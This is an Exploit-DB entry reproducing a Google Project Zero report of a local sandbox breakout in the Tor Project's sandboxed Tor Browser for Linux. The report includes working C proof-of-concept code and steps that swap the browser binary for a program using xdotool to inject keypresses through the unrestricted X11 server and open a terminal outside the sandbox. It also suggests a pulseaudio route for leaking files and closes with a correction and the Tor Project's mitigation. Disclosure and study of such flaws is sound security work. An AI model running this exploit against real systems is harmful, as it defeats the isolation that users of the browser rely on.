Exploit-DB #42626
Description: Tor (Linux) - X11 Linux Sandbox Breakout
Type: local
Platform: linux
Date: 2017-09-06
Author: Google Security Research

Exploit:
/*
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1293&desc=2

**EDIT: I mixed up two different sandboxes; see the comment below for a correction.**

From inside the Linux sandbox described in
<https://blog.torproject.org/blog/tor-browser-70-released>, it is
still possible to talk to the X server without any restrictions.
This means that a compromised browser can e.g. use the
XTEST X protocol extension
(<https://www.x.org/releases/X11R7.7/doc/xextproto/xtest.html>) to
fake arbitrary keyboard and mouse events, directed at arbitrary
windows. This permits a sandbox breakout, e.g. by injecting keypresses
into a background window.

<https://trac.torproject.org/projects/tor/wiki/doc/TorBrowser/Sandbox/Linux#HowdoIprotectmyselffromXexploits>
mentions that the X server is reachable, but it sounds like the author
didn't realize that a normal connection to the X server permits
sandbox breakouts by design.

To reproduce:

Install Debian Jessie with the Xfce4 desktop environment and with
backports enabled.
Install bubblewrap and xdotool.
Install the sandboxed Tor browser from
<https://www.torproject.org/dist/torbrowser/7.0a4/sandbox-0.0.6-linux64.zip>.
Launch the sandboxed Tor browser, use the default configuration. When
the browser has launched, close it.
Delete ~/.local/share/sandboxed-tor-browser/tor-browser/Browser/firefox.
Store the following as ~/.local/share/sandboxed-tor-browser/tor-browser/Browser/firefox.c:

=========================
*/
#include <stdlib.h>
#include <unistd.h>

int main(void){
  int status;
  setenv("LD_LIBRARY_PATH", "/home/amnesia/sandboxed-tor-browser/tor-browser", 1);
  if (fork() == 0) {
    execl("/home/amnesia/sandboxed-tor-browser/tor-browser/xdotool", "xdotool", "key", "alt+F2", "sleep", "1", "type", "xfce4-terminal", NULL);
    perror("fail");
    return 0;
  }
  wait(&status);
  if (fork() == 0) {
    execl("/home/amnesia/sandboxed-tor-browser/tor-browser/xdotool", "xdotool", "sleep", "1", "key", "Return", "sleep", "1", "type", "id", NULL);
    perror("fail");
    return 0;
  }
  wait(&status);
  if (fork() == 0) {
    execl("/home/amnesia/sandboxed-tor-browser/tor-browser/xdotool", "xdotool", "sleep", "1", "key", "Return", NULL);
    perror("fail");
    return 0;
  }
  wait(&status);
  while (1) sleep(1000);
  return 0;
}

/*
=========================

In ~/.local/share/sandboxed-tor-browser/tor-browser/Browser, run
"gcc -static -o firefox firefox.c".
Run "cp /usr/bin/xdotool /usr/lib/x86_64-linux-gnu/* ~/.local/share/sandboxed-tor-browser/tor-browser/".
Now run the launcher for the sandboxed browser again. Inside the
sandbox, the new firefox binary will connect to the X11 server and
send fake keypresses to open a terminal outside the sandbox and type
into it.

There are probably similar issues with pulseaudio when it's enabled;
I suspect that it's possible to e.g. use the pulseaudio socket to load
pulseaudio modules with arbitrary parameters, which would e.g. permit
leaking parts of files outside the sandbox by using them as
authentication cookie files for modules that implement audio streaming
over the network.


###################################################################

I mixed up two sandboxes.

The blog post <https://blog.torproject.org/blog/tor-browser-70-released> talks about the Firefox content process sandbox, which is still in development and unrelated to the Tor-specific sandbox I looked at. So the "content sandboxing" the blog post talks about isn't very effective yet; the Mozilla wiki points to multiple bug lists that document the remaining work (https://wiki.mozilla.org/Security/Sandbox#Bug_Lists).

The sandbox I looked at here is written and distributed by the Tor Project.


https://gitweb.torproject.org/tor-browser/sandboxed-tor-browser.git/commit/?id=1bfbd7cc1cd60c9468f2e33a3d4816973f1fb2f5 was added to mitigate the issue I reported by filtering X11 traffic and whitelisting permitted X protocol extensions.

More warnings have been added to the corresponding documentation (https://trac.torproject.org/projects/tor/wiki/doc/TorBrowser/Sandbox/Linux?action=diff&version=23&old_version=21) that point out that this sandbox should not be used without manually configuring nested X11 and that pulseaudio is unsafe.
*/